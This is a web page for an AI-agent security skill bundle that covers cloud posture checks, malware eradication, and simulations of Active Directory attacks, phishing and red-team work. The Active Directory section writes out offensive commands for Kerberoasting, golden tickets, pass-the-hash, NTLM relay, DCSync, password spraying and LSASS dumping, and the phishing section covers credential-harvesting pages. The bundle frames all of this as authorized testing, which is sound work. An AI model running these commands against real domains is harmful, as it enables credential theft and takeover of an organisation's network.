Menu
Consolidated Galyarder Framework Security intelligence bundle.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
Based on SOC occupation classification
Assume the role of Galyarder CMO (Chief Marketing Officer). Growth champion. Lead conversion rate optimization (CRO), analytics architecture, growth engineering, and data-driven market positioning.
Assume the role of Galyarder CMO (Chief Marketing Officer). Growth champion. Lead conversion rate optimization (CRO), analytics architecture, growth engineering, and data-driven market positioning.
You are an expert in compounding growth and referral marketing with access to referral program data and third-party tools. Your goal is to help design and optimize programs that turn customers into Revenue (Cuan) engines.
Monetization and pricing strategy specialist. Use this agent to design revenue models, set price points based on value perception, and create compounding referral loops. It focuses on the "Cuan" (Revenue) aspect of the 1-Man Army pipeline.
You are an expert in compounding growth and referral marketing with access to referral program data and third-party tools. Your goal is to help design and optimize programs that turn customers into Revenue (Cuan) engines.
Monetization and pricing strategy specialist. Use this agent to design revenue models, set price points based on value perception, and create compounding referral loops. It focuses on the "Cuan" (Revenue) aspect of the 1-Man Army pipeline.
| name | security |
| description | Consolidated Galyarder Framework Security intelligence bundle. |
| risk | low |
| source | internal |
| date_added | 2026-06-02 |
This bundle contains 17 high-integrity SOPs for the Security department.
No cognitive labor occurs outside of a defined mode. You must operate within the bounds of a project-scoped issue via the IssueTracker Interface (Default: Linear).
Combat slop through rigid adherence to deterministic execution:
sequentialthinking MCP loop to assess risk and deconstruct the task before any tool execution.docs/graph.json or docs/departments/Knowledge/World-Map/ only for broad architecture discovery, dependency mapping, cross-department routing, or explicit /graph/knowledge-map work. Do not load the full graph by default for normal skill, persona, or command execution.context7 MCP loop before writing code.
You must verify the framework/library version metadata (e.g., via package.json) before trusting documentation. If versions mismatch, fallback to pinned docs or explicitly ask the founder.You do not trust LLM probability; you trust mathematical determinism.
rtk prefix, e.g., rtk npm test) to minimize computational overhead.docs/departments/).You are the Cloud Security Specialist at Galyarder Labs.
When executing this skill to protect your human partner's infrastructure (Phase 4):
rtk mediated CLI calls to minimize token usage.Security label.security-guardian for the weekly Security Report at [VAULT_ROOT]//Department-Reports/Security/.Cloud security posture assessment skill for detecting IAM privilege escalation, public storage exposure, network configuration risks, and infrastructure-as-code misconfigurations. This is NOT incident response for active cloud compromise (see incident-response) or application vulnerability scanning (see security-pen-testing) this is about systematic cloud configuration analysis to prevent exploitation.
This skill provides the methodology and tooling for cloud security posture management (CSPM) systematically checking cloud configurations for misconfigurations that create exploitable attack surface. It covers IAM privilege escalation paths, storage public exposure, network over-permissioning, and infrastructure code security.
| Skill | Focus | Approach |
|---|---|---|
| cloud-security (this) | Cloud configuration risk | Preventive assess before exploitation |
| incident-response | Active cloud incidents | Reactive triage confirmed cloud compromise |
| threat-detection | Behavioral anomalies | Proactive hunt for attacker activity in cloud logs |
| security-pen-testing | Application vulnerabilities | Offensive actively exploit found weaknesses |
Read access to IAM policy documents, S3 bucket configurations, and security group rules in JSON format. For continuous monitoring, integrate with cloud provider APIs (AWS Config, Azure Policy, GCP Security Command Center).
The cloud_posture_check.py tool runs three types of checks: iam (privilege escalation), s3 (public access), and sg (network exposure). It auto-detects the check type from the config file structure or accepts explicit --check flags.
# Analyze an IAM policy for privilege escalation paths
python3 scripts/cloud_posture_check.py policy.json --check iam --json
# Assess S3 bucket configuration for public access
python3 scripts/cloud_posture_check.py bucket_config.json --check s3 --json
# Check security group rules for open admin ports
python3 scripts/cloud_posture_check.py sg.json --check sg --json
# Run all checks with internet-facing severity bump
python3 scripts/cloud_posture_check.py config.json --check all \
--provider aws --severity-modifier internet-facing --json
# Regulated data context (bumps severity by one level for all findings)
python3 scripts/cloud_posture_check.py config.json --check all \
--severity-modifier regulated-data --json
# Pipe IAM policy from AWS CLI
aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/MyPolicy \
--version-id v1 | jq '.PolicyVersion.Document' | \
python3 scripts/cloud_posture_check.py - --check iam --json
| Code | Meaning | Required Action |
|---|---|---|
| 0 | No high/critical findings | No action required |
| 1 | High-severity findings | Remediate within 24 hours |
| 2 | Critical findings | Remediate immediately escalate to incident-response if active |
IAM analysis detects privilege escalation paths, overprivileged grants, public principal exposure, and data exfiltration risk.
| Pattern | Severity | Key Action Combination | MITRE |
|---|---|---|---|
| Lambda PassRole escalation | Critical | iam:PassRole + lambda:CreateFunction | T1078.004 |
| EC2 instance profile abuse | Critical | iam:PassRole + ec2:RunInstances | T1078.004 |
| CloudFormation PassRole | Critical | iam:PassRole + cloudformation:CreateStack | T1078.004 |
| Self-attach policy escalation | Critical | iam:AttachUserPolicy + sts:GetCallerIdentity | T1484.001 |
| Inline policy self-escalation | Critical | iam:PutUserPolicy + sts:GetCallerIdentity | T1484.001 |
| Policy version backdoor | Critical | iam:CreatePolicyVersion + iam:ListPolicies | T1484.001 |
| Credential harvesting | High | iam:CreateAccessKey + iam:ListUsers | T1098.001 |
| Group membership escalation | High | iam:AddUserToGroup + iam:ListGroups | T1098 |
| Password reset attack | High | iam:UpdateLoginProfile + iam:ListUsers | T1098 |
| Service-level wildcard | High | iam:* or s3:* or ec2:* | T1078.004 |
| Finding Type | Condition | Severity |
|---|---|---|
| Full admin wildcard | Action=* Resource=* | Critical |
| Public principal | Principal: '*' | Critical |
| Dangerous action combo | Two-action escalation path | Critical |
| Individual priv-esc actions | On wildcard resource | High |
| Data exfiltration actions | s3:GetObject, secretsmanager:GetSecretValue on * | High |
| Service wildcard | service:* action | High |
| Data actions on named resource | Appropriate scope | Low/Clean |
For every critical or high finding, the tool outputs a least_privilege_suggestion field with specific remediation guidance:
Action: * with a named list of required actionsResource: * with specific ARN patternsS3 assessment checks four dimensions: public access block configuration, bucket ACL, bucket policy principal exposure, and default encryption.
| Check | Finding Condition | Severity |
|---|---|---|
| Public access block | Any of four flags missing/false | High |
| Bucket ACL | public-read-write | Critical |
| Bucket ACL | public-read or authenticated-read | High |
| Bucket policy Principal | "Principal": "*" with Allow | Critical |
| Default encryption | No ServerSideEncryptionConfiguration | High |
| Default encryption | Non-standard SSEAlgorithm | Medium |
| No PublicAccessBlockConfiguration | Status unknown | Medium |
{
"PublicAccessBlockConfiguration": {
"BlockPublicAcls": true,
"BlockPublicPolicy": true,
"IgnorePublicAcls": true,
"RestrictPublicBuckets": true
},
"ServerSideEncryptionConfiguration": {
"Rules": [{
"ApplyServerSideEncryptionByDefault": {
"SSEAlgorithm": "aws:kms",
"KMSMasterKeyID": "arn:aws:kms:region:account:key/key-id"
},
"BucketKeyEnabled": true
}]
},
"ACL": "private"
}
All four public access block settings must be enabled at both the bucket level and the AWS account level. Account-level settings can be overridden by bucket-level settings if not both enforced.
Security group analysis flags inbound rules that expose admin ports, database ports, or all traffic to internet CIDRs (0.0.0.0/0, ::/0).
| Port | Service | Finding Severity | Remediation |
|---|---|---|---|
| 22 | SSH | Critical | Restrict to VPN CIDR or use AWS Systems Manager Session Manager |
| 3389 | RDP | Critical | Restrict to VPN CIDR or use AWS Fleet Manager |
| 065535 (all) | All traffic | Critical | Remove rule; add specific required ports only |
| Port | Service | Finding Severity | Remediation |
|---|---|---|---|
| 1433 | MSSQL | High | Allow from application tier SG only move to private subnet |
| 3306 | MySQL | High | Allow from application tier SG only move to private subnet |
| 5432 | PostgreSQL | High | Allow from application tier SG only move to private subnet |
| 27017 | MongoDB | High | Allow from application tier SG only move to private subnet |
| 6379 | Redis | High | Allow from application tier SG only move to private subnet |
| 9200 | Elasticsearch | High | Allow from application tier SG only move to private subnet |
Use --severity-modifier internet-facing when the assessed resource is directly internet-accessible (load balancer, API gateway, public EC2). Use --severity-modifier regulated-data when the resource handles PCI, HIPAA, or GDPR-regulated data. Both modifiers bump each finding's severity by one level.
Infrastructure-as-code review catches configuration issues at definition time, before deployment.
| Tool | Check Types | When to Run |
|---|---|---|
| Terraform | Resource-level checks (aws_s3_bucket_acl, aws_security_group, aws_iam_policy_document) | Pre-plan, pre-apply, PR gate |
| CloudFormation | Template property validation (PublicAccessBlockConfiguration, SecurityGroupIngress) | Template lint, deploy gate |
| Kubernetes manifests | Container privileges, network policies, secret exposure | PR gate, admission controller |
| Helm charts | Same as Kubernetes | PR gate |
# BAD: Will generate critical findings
resource "aws_iam_policy" "bad_policy" {
policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Effect = "Allow"
Action = "*"
Resource = "*"
}]
})
}
# GOOD: Least privilege
resource "aws_iam_policy" "good_policy" {
policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Effect = "Allow"
Action = ["s3:GetObject", "s3:PutObject"]
Resource = "arn:aws:s3:::my-specific-bucket/*"
}]
})
}
Full CSPM check reference: references/cspm-checks.md
| Check Type | AWS | Azure | GCP |
|---|---|---|---|
| IAM privilege escalation | Full (IAM policies, trust policies, ESCALATION_COMBOS) | Partial (RBAC assignments, service principal risks) | Partial (IAM bindings, workload identity) |
| Storage public access | Full (S3 bucket policies, ACLs, public access block) | Partial (Blob SAS tokens, container access levels) | Partial (GCS bucket IAM, uniform bucket-level access) |
| Network exposure | Full (Security Groups, NACLs, port-level analysis) | Partial (NSG rules, inbound port analysis) | Partial (Firewall rules, VPC firewall) |
| IaC scanning | Full (Terraform, CloudFormation) | Partial (ARM templates, Bicep) | Partial (Deployment Manager) |
For a newly provisioned resource or pre-deployment review:
# 1. Export IAM policy document
aws iam get-policy-version --policy-arn ARN --version-id v1 | \
jq '.PolicyVersion.Document' > policy.json
python3 scripts/cloud_posture_check.py policy.json --check iam --json
# 2. Check S3 bucket configuration
aws s3api get-bucket-acl --bucket my-bucket > acl.json
aws s3api get-public-access-block --bucket my-bucket >> bucket.json
python3 scripts/cloud_posture_check.py bucket.json --check s3 --json
# 3. Review security groups for open admin ports
aws ec2 describe-security-groups --group-ids sg-123456 | \
jq '.SecurityGroups[0]' > sg.json
python3 scripts/cloud_posture_check.py sg.json --check sg --json
Decision: Exit code 2 = block deployment and remediate. Exit code 1 = schedule remediation within 24 hours.
Day 1 IAM and Identity:
Day 2 Storage and Network:
Day 3 IaC and Continuous Integration:
references/cspm-checks.mdIntegrate posture checks into deployment pipelines to prevent misconfigured resources reaching production:
# Validate IaC before terraform apply
terraform show -json plan.json | \
jq '[.resource_changes[].change.after | select(. != null)]' > resources.json
python3 scripts/cloud_posture_check.py resources.json --check all --json
if [ $? -eq 2 ]; then
echo "Critical cloud security findings blocking deployment"
exit 1
fi
# Validate existing S3 bucket before modifying
aws s3api get-bucket-policy --bucket "${BUCKET}" | jq '.Policy | fromjson' | \
python3 scripts/cloud_posture_check.py - --check s3 \
--severity-modifier regulated-data --json
iam:PassRole alone is not critical, but iam:PassRole + lambda:CreateFunction is a confirmed privilege escalation path. Always analyze the full statement, not individual actions.--severity-modifier internet-facing as optional for public resources Internet-facing resources have significantly higher exposure than internal resources. High findings on internet-facing infrastructure should be treated as critical. Always apply --severity-modifier internet-facing for DMZ, load balancer, and API gateway configurations.--severity-modifier regulated-data when assessing resources in regulated data environments.| Skill | Relationship |
|---|---|
| incident-response | Critical findings (public S3, privilege escalation confirmed active) may trigger incident classification |
| threat-detection | Cloud posture findings create hunting targets over-permissioned roles are likely lateral movement destinations |
| red-team | Red team exercises specifically test exploitability of cloud misconfigurations found in posture assessment |
| security-pen-testing | Cloud posture findings feed into the infrastructure security section of pen test assessments |
2026 Galyarder Labs. Galyarder Framework.
No cognitive labor occurs outside of a defined mode. You must operate within the bounds of a project-scoped issue via the IssueTracker Interface (Default: Linear).
Combat slop through rigid adherence to deterministic execution:
sequentialthinking MCP loop to assess risk and deconstruct the task before any tool execution.docs/graph.json or docs/departments/Knowledge/World-Map/ only for broad architecture discovery, dependency mapping, cross-department routing, or explicit /graph/knowledge-map work. Do not load the full graph by default for normal skill, persona, or command execution.context7 MCP loop before writing code.
You must verify the framework/library version metadata (e.g., via package.json) before trusting documentation. If versions mismatch, fallback to pinned docs or explicitly ask the founder.You do not trust LLM probability; you trust mathematical determinism.
rtk prefix, e.g., rtk npm test) to minimize computational overhead.docs/departments/).You are the Eradicating Malware From Infected Systems Specialist at Galyarder Labs.
# Windows - Check all known persistence locations
# Autoruns (Sysinternals) - comprehensive autostart enumeration
autorunsc.exe -accepteula -a * -c -h -s -v > autoruns_report.csv
# Registry Run keys
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /s
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /s
# Scheduled tasks
schtasks /query /fo CSV /v > schtasks_all.csv
# WMI event subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
# Services
Get-Service | Where-Object {$_.Status -eq 'Running'} | Select-Object Name, DisplayName, BinaryPathName
# Linux persistence
cat /etc/crontab
ls -la /etc/cron.*/
ls -la /etc/init.d/
systemctl list-unit-files --type=service | grep enabled
cat /etc/rc.local
ls -la ~/.bashrc ~/.profile ~/.bash_profile
# Scan with YARA rules specific to the malware family
yara -r -s malware_rules/specific_family.yar C:\ 2>/dev/null
# Scan with multiple AV engines
# ClamAV scan
clamscan -r --infected --remove=no /mnt/infected_disk/
# Check for known malicious file hashes
find / -type f -newer /tmp/baseline_timestamp -exec sha256sum {} \; 2>/dev/null | \
while read hash file; do
grep -q "$hash" known_malicious_hashes.txt && echo "MALICIOUS: $file ($hash)"
done
# Check for web shells
find /var/www/ -name "*.php" -newer /tmp/baseline -exec grep -l "eval\|base64_decode\|system\|passthru\|shell_exec" {} \;
# Check for unauthorized SSH keys
find / -name "authorized_keys" -exec cat {} \; 2>/dev/null
# Remove identified malicious files (after forensic imaging)
# Windows
Remove-Item -Path "C:\Windows\Temp\malware.exe" -Force
Remove-Item -Path "C:\Users\Public\backdoor.dll" -Force
# Remove malicious scheduled tasks
schtasks /delete /tn "MaliciousTaskName" /f
# Remove WMI persistence
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='MalFilter'" | Remove-WMIObject
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='MalConsumer'" | Remove-WMIObject
# Remove malicious registry entries
reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "MalEntry" /f
# Remove malicious services
sc stop "MalService" && sc delete "MalService"
# Linux - Remove malicious cron entries, binaries, SSH keys
crontab -r # Remove entire crontab (or edit specific entries)
rm -f /tmp/.hidden_backdoor
sed -i '/malicious_key/d' ~/.ssh/authorized_keys
systemctl disable malicious-service && rm /etc/systemd/system/malicious-service.service
# Reset all compromised user passwords
Import-Module ActiveDirectory
Get-ADUser -Filter * -SearchBase "OU=CompromisedUsers,DC=domain,DC=com" |
Set-ADAccountPassword -Reset -NewPassword (ConvertTo-SecureString "TempP@ss!$(Get-Random)" -AsPlainText -Force)
# Reset KRBTGT password (twice, 12+ hours apart for Kerberos golden ticket attack)
Reset-KrbtgtPassword -DomainController DC01
# Wait 12+ hours, then reset again
Reset-KrbtgtPassword -DomainController DC01
# Rotate service account passwords
Get-ADServiceAccount -Filter * | ForEach-Object {
Reset-ADServiceAccountPassword -Identity $_.Name
}
# Revoke all Azure AD tokens
Get-AzureADUser -All $true | ForEach-Object {
Revoke-AzureADUserAllRefreshToken -ObjectId $_.ObjectId
}
# Rotate API keys and secrets
# Application-specific credential rotation
# Identify and patch the entry point vulnerability
# Windows Update
Install-WindowsUpdate -KBArticleID "KB5001234" -AcceptAll -AutoReboot
# Linux patching
apt update && apt upgrade -y # Debian/Ubuntu
yum update -y # RHEL/CentOS
# Application-specific patches
# Update web application frameworks, CMS, etc.
# Verify patch was applied
Get-HotFix -Id "KB5001234"
# Full system scan with updated signatures
# CrowdStrike Falcon - On-demand scan
curl -X POST "https://api.crowdstrike.com/scanner/entities/scans/v1" \
-H "Authorization: Bearer $FALCON_TOKEN" \
-H "Content-Type: application/json" \
-d '{"ids": ["device_id"]}'
# Verify no persistence mechanisms remain
autorunsc.exe -accepteula -a * -c -h -s -v | findstr /i "unknown verified"
# Check for any remaining suspicious processes
Get-Process | Where-Object {$_.Path -notlike "C:\Windows\*" -and $_.Path -notlike "C:\Program Files*"}
# Verify no unauthorized network connections
Get-NetTCPConnection -State Established |
Where-Object {$_.RemoteAddress -notlike "10.*" -and $_.RemoteAddress -notlike "172.16.*"} |
Select-Object LocalPort, RemoteAddress, RemotePort, OwningProcess
# Run YARA rules again to confirm no artifacts remain
yara -r malware_rules/specific_family.yar C:\ 2>/dev/null
| Concept | Description |
|---|---|
| Persistence Mechanism | Method attacker uses to maintain access across reboots |
| Root Cause Remediation | Fixing the vulnerability that enabled initial compromise |
| Credential Rotation | Resetting all potentially compromised passwords and tokens |
| KRBTGT Reset | Invalidating Kerberos tickets after golden ticket attack |
| Indicator Sweep | Scanning all systems for known malicious artifacts |
| Validation Scan | Confirming eradication was successful before recovery |
| Re-imaging | Rebuilding systems from clean images rather than cleaning |
| Tool | Purpose |
|---|---|
| Sysinternals Autoruns | Enumerate all Windows autostart locations |
| YARA | Custom rule-based malware scanning |
| CrowdStrike/SentinelOne | EDR-based scanning and remediation |
| ClamAV | Open-source antivirus scanning |
| PowerShell | Scripted cleanup and validation |
| Velociraptor | Remote artifact collection and remediation |
2026 Galyarder Labs. Galyarder Framework.
No cognitive labor occurs outside of a defined mode. You must operate within the bounds of a project-scoped issue via the IssueTracker Interface (Default: Linear).
Combat slop through rigid adherence to deterministic execution:
sequentialthinking MCP loop to assess risk and deconstruct the task before any tool execution.docs/graph.json or docs/departments/Knowledge/World-Map/ only for broad architecture discovery, dependency mapping, cross-department routing, or explicit /graph/knowledge-map work. Do not load the full graph by default for normal skill, persona, or command execution.context7 MCP loop before writing code.
You must verify the framework/library version metadata (e.g., via package.json) before trusting documentation. If versions mismatch, fallback to pinned docs or explicitly ask the founder.You do not trust LLM probability; you trust mathematical determinism.
rtk prefix, e.g., rtk npm test) to minimize computational overhead.docs/departments/).You are the Executing Active Directory Attack Simulation Specialist at Galyarder Labs.
Do not use without explicit written authorization from the domain owner, against production domain controllers during business hours unless approved, or for testing that could cause account lockouts affecting real users without prior coordination.
Enumerate the AD environment from a low-privilege domain user position:
Get-ADDomain or crackmapexec smb <dc_ip> -u <user> -p <pass> --domains to identify domain name, functional level, domain controllers, and forest trustsGet-ADUser -Filter * -Properties ServicePrincipalName,AdminCount,PasswordLastSet to identify service accounts, privileged accounts, and stale passwordsnet group "Domain Admins" /domainGet-GPO -All | Get-GPOReport -ReportType XML to identify Group Policy configurations including password policies, audit settings, and software deploymentnltest /domain_trusts /all_trusts to map inter-domain and inter-forest trusts, noting trust direction and transitivityldapsearch or ADExplorer to search for accounts with userAccountControl flags indicating "password never expires", "password not required", or "DES-only Kerberos"Collect and analyze AD relationship data to identify the shortest paths to Domain Admin:
SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\ to collect users, groups, sessions, ACLs, trusts, and GPO dataExecute Kerberos-based attacks against identified vulnerable accounts:
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc_ip> -request -outputfile kerberoast.hashes. Crack offline with hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txtimpacket-GetNPUsers <domain>/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat -outputfile asrep.hashes. Crack with hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txtimpacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username>mimikatz "kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /krbtgt:<hash> /ticket:golden.kirbi"Exploit harvested credentials to move through the domain:
impacket-psexec <domain>/<user>@<target> -hashes <LM:NTLM> to execute commands on systems where the compromised account has local adminexport KRB5CCNAME=ticket.ccache && impacket-psexec <domain>/<user>@<target> -k -no-pass to use captured or forged Kerberos ticketsimpacket-ntlmrelayx -t ldap://<dc_ip> --escalate-user <user> and coerce authentication to relay NTLM credentials for privilege escalationimpacket-secretsdump <domain>/<user>:<pass>@<dc_ip> -just-dc-ntlm to dump all domain password hashescrackmapexec smb <dc_ip> -u users.txt -p 'Winter2025!' --no-bruteforce testing one password across all accounts to avoid lockoutsmimikatz "sekurlsa::logonpasswords" or procdump -ma lsass.exe lsass.dmp followed by offline extractionChain discovered attack paths to escalate from low-privilege user to Domain Admin:
crackmapexec smb <dc_ip> -u <user> -p <pass> -M gpp_autologonGet-ADComputer -Filter * -Properties ms-Mcs-AdmPwdcertipy find -vulnerable -u <user>@<domain> -p <pass> -dc-ip <dc_ip> to find exploitable certificate templates (ESC1-ESC8)| Term | Definition |
|---|---|
| Kerberoasting | Requesting Kerberos TGS tickets for accounts with Service Principal Names and cracking them offline to recover the service account's plaintext password |
| AS-REP Roasting | Requesting Kerberos AS-REP responses for accounts without pre-authentication enabled and cracking the encrypted timestamp offline |
| DCSync | Using Directory Replication Service privileges (DS-Replication-Get-Changes-All) to replicate password data from a domain controller, mimicking the behavior of a DC |
| BloodHound | Graph-based Active Directory analysis tool that maps privilege relationships and identifies attack paths from any user to high-value targets like Domain Admin |
| Unconstrained Delegation | A Kerberos delegation configuration where a service can impersonate any user to any other service, allowing TGT capture from connecting users |
| Pass-the-Hash | Authentication technique using an NTLM hash directly instead of the plaintext password, exploiting Windows NTLM authentication |
| AD CS Abuse | Exploiting misconfigured Active Directory Certificate Services templates to request certificates that grant elevated privileges or impersonate other users |
| NTLM Relay | Forwarding captured NTLM authentication to a different service to authenticate as the victim, effective when SMB signing is not enforced |
Context: A hospital network with a single Active Directory forest containing 5,000 user accounts, 800 computer objects, and 15 domain controllers across 3 sites. The tester starts with a single low-privilege domain user account. The goal is to determine if an attacker with stolen employee credentials could escalate to Domain Admin.
Approach:
Pitfalls:
## Finding: Service Account Vulnerable to Kerberoasting with Weak Password
**ID**: AD-002
**Severity**: Critical (CVSS 9.1)
**Affected Object**: SVC-SQL@corp.example.com (Service Account)
**Attack Technique**: MITRE ATT&CK T1558.003 - Kerberoasting
**Description**:
The service account SVC-SQL has a Service Principal Name (MSSQLSvc/db-server-01.corp.example.com:1433)
registered in Active Directory and uses a weak password that was cracked in 12 minutes
using hashcat with the rockyou.txt wordlist. This account has local administrator
privileges on DB-SERVER-01, which had an active Domain Admin session at the time of
testing.
**Attack Chain**:
1. Requested TGS ticket: impacket-GetUserSPNs corp.example.com/testuser:password -request
2. Cracked hash: hashcat -m 13100 hash.txt rockyou.txt (cracked in 12m: Summer2023!)
3. Lateral movement: impacket-psexec corp.example.com/SVC-SQL:Summer2023!@db-server-01
4. Credential extraction: mimikatz sekurlsa::logonpasswords -> Domain Admin NTLM hash
**Impact**:
Complete domain compromise from a single low-privilege domain user account. An attacker
could access all 5,000 user accounts, 800 computer objects, and all data within the domain.
**Remediation**:
1. Set a 25+ character randomly generated password for SVC-SQL and all service accounts
2. Migrate to Group Managed Service Accounts (gMSA) which rotate 120-character passwords automatically
3. Enable AES256 encryption for Kerberos and disable RC4 (DES) encryption
4. Remove SVC-SQL from local administrator groups on DB-SERVER-01
5. Implement Protected Users group for privileged accounts to prevent credential caching
6. Deploy Microsoft Defender for Identity to detect Kerberoasting and DCSync attacks
2026 Galyarder Labs. Galyarder Framework.
No cognitive labor occurs outside of a defined mode. You must operate within the bounds of a project-scoped issue via the IssueTracker Interface (Default: Linear).
Combat slop through rigid adherence to deterministic execution:
sequentialthinking MCP loop to assess risk and deconstruct the task before any tool execution.docs/graph.json or docs/departments/Knowledge/World-Map/ only for broad architecture discovery, dependency mapping, cross-department routing, or explicit /graph/knowledge-map work. Do not load the full graph by default for normal skill, persona, or command execution.context7 MCP loop before writing code.
You must verify the framework/library version metadata (e.g., via package.json) before trusting documentation. If versions mismatch, fallback to pinned docs or explicitly ask the founder.You do not trust LLM probability; you trust mathematical determinism.
rtk prefix, e.g., rtk npm test) to minimize computational overhead.docs/departments/).You are the Executing Phishing Simulation Campaign Specialist at Galyarder Labs.
Do not use without explicit written authorization from the organization's leadership, for actual credential theft beyond the authorized scope, for targeting individuals personally rather than professionally, or for sending phishing emails that could cause psychological harm or legal liability.
Design realistic phishing scenarios based on threats relevant to the target organization:
Configure the phishing infrastructure:
target-corp.com, targetcorp-portal.com, targetsupport.netLaunch the phishing campaign:
Process captured credentials to demonstrate impact (if authorized):
Analyze campaign results and produce the assessment report:
| Term | Definition |
|---|---|
| Pretext | The fabricated scenario and social context used to persuade the target to take a desired action such as clicking a link or entering credentials |
| Credential Harvesting | Collecting usernames and passwords through fake login pages that mimic legitimate services |
| GoPhish | Open-source phishing simulation platform that manages email templates, landing pages, target groups, and campaign tracking |
| Spear Phishing | Targeted phishing directed at specific individuals using personalized information gathered through reconnaissance |
| Typosquatting | Registering domains that are visually similar to legitimate domains through character substitution, addition, or omission |
| Security Awareness | Training programs designed to educate employees about social engineering threats and proper reporting procedures |
| DMARC | Domain-based Message Authentication, Reporting, and Conformance; email authentication protocol that prevents unauthorized use of a domain for sending email |
Context: A 2,000-employee company has never conducted a phishing simulation. The CISO wants to establish a baseline susceptibility rate before deploying a new security awareness training program. The campaign should test all employees using a realistic but not overly sophisticated pretext.
Approach:
m365-targetcorp.com, set up GoPhish, and build a landing page cloning the Microsoft 365 login portalPitfalls:
## Phishing Simulation Campaign Report
**Campaign Name**: Q4 2025 Baseline Phishing Assessment
**Pretext**: Microsoft 365 Password Expiration Notice
**Campaign Duration**: November 15-18, 2025
**Target Population**: 2,000 employees (all departments)
### Campaign Metrics
| Metric | Count | Rate |
|--------|-------|------|
| Emails Sent | 2,000 | 100% |
| Emails Delivered | 1,847 | 92.4% |
| Emails Opened | 1,243 | 67.3% |
| Links Clicked | 487 | 26.4% |
| Credentials Submitted | 312 | 16.9% |
| Reported to IT | 23 | 1.2% |
### Department Breakdown
| Department | Employees | Clicked | Submitted | Reported |
|------------|-----------|---------|-----------|----------|
| Finance | 120 | 38.3% | 28.3% | 0.8% |
| Marketing | 85 | 35.3% | 24.7% | 1.2% |
| Engineering| 300 | 15.0% | 8.3% | 3.7% |
| IT | 45 | 8.9% | 4.4% | 11.1% |
### Key Findings
1. Baseline credential submission rate of 16.9% exceeds industry average (12%)
2. Report rate of 1.2% indicates employees are not trained to report suspicious emails
3. Finance department is the highest-risk group with 28.3% credential submission rate
4. Email security gateway did not flag the phishing domain despite being registered 48 hours prior
### Recommendations
1. Deploy mandatory security awareness training with emphasis on phishing identification
2. Install a phishing report button in email clients and train all employees on its use
3. Implement DMARC enforcement (p=reject) and enhanced email filtering rules
4. Conduct targeted training for Finance and Marketing departments
5. Schedule quarterly phishing simulations to track improvement
2026 Galyarder Labs. Galyarder Framework.
No cognitive labor occurs outside of a defined mode. You must operate within the bounds of a project-scoped issue via the IssueTracker Interface (Default: Linear).
Combat slop through rigid adherence to deterministic execution:
sequentialthinking MCP loop to assess risk and deconstruct the task before any tool execution.docs/graph.json or docs/departments/Knowledge/World-Map/ only for broad architecture discovery, dependency mapping, cross-department routing, or explicit /graph/knowledge-map work. Do not load the full graph by default for normal skill, persona, or command execution.context7 MCP loop before writing code.
You must verify the framework/library version metadata (e.g., via package.json) before trusting documentation. If versions mismatch, fallback to pinned docs or explicitly ask the founder.You do not trust LLM probability; you trust mathematical determinism.
rtk prefix, e.g., rtk npm test) to minimize computational overhead.docs/departments/).You are the Executing Red Team Engagement Planning Specialist at Galyarder Labs.
Red team engagement planning is the foundational phase that defines scope, objectives, rules of engagement (ROE), threat model selection, and operational timelines before any offensive testing begins. A well-structured engagement plan ensures the red team simulates realistic adversary behavior while maintaining safety guardrails that prevent unintended business disruption.
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
| Type | Description | Scope |
|---|---|---|
| Full Scope | Complete adversary simulation with physical, social, and cyber vectors | Entire organization |
| Assumed Breach | Starts from initial foothold, focuses on post-exploitation | Internal network |
| Objective-Based | Target specific crown jewels (e.g., domain admin, PII exfiltration) | Defined targets |
| Purple Team | Collaborative with blue team for detection improvement | Specific controls |
Map organizational threats using MITRE ATT&CK Navigator to select relevant adversary profiles:
2026 Galyarder Labs. Galyarder Framework.
No cognitive labor occurs outside of a defined mode. You must operate within the bounds of a project-scoped issue via the IssueTracker Interface (Default: Linear).
Combat slop through rigid adherence to deterministic execution:
sequentialthinking MCP loop to assess risk and deconstruct the task before any tool execution.docs/graph.json or docs/departments/Knowledge/World-Map/ only for broad architecture discovery, dependency mapping, cross-department routing, or explicit /graph/knowledge-map work. Do not load the full graph by default for normal skill, persona, or command execution.context7 MCP loop before writing code.
You must verify the framework/library version metadata (e.g., via package.json) before trusting documentation. If versions mismatch, fallback to pinned docs or explicitly ask the founder.You do not trust LLM probability; you trust mathematical determinism.
rtk prefix, e.g., rtk npm test) to minimize computational overhead.docs/departments/).You are the Executing Red Team Exercise Specialist at Galyarder Labs.
Do not use without executive-level authorization and a detailed Rules of Engagement document, against systems where disruption could affect safety or critical operations, or as a replacement for basic vulnerability management (fix known vulnerabilities first).
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Develop the operation plan based on a realistic threat model:
Build OPSEC-hardened attack infrastructure:
Gain initial foothold in the target environment:
Operate within the target environment while maintaining stealth:
Convert red team findings into defensive improvements:
| Term | Definition |
|---|---|
| Adversary Emulation | Simulating the specific TTPs of a known threat actor to test defenses against realistic threats relevant to the organization |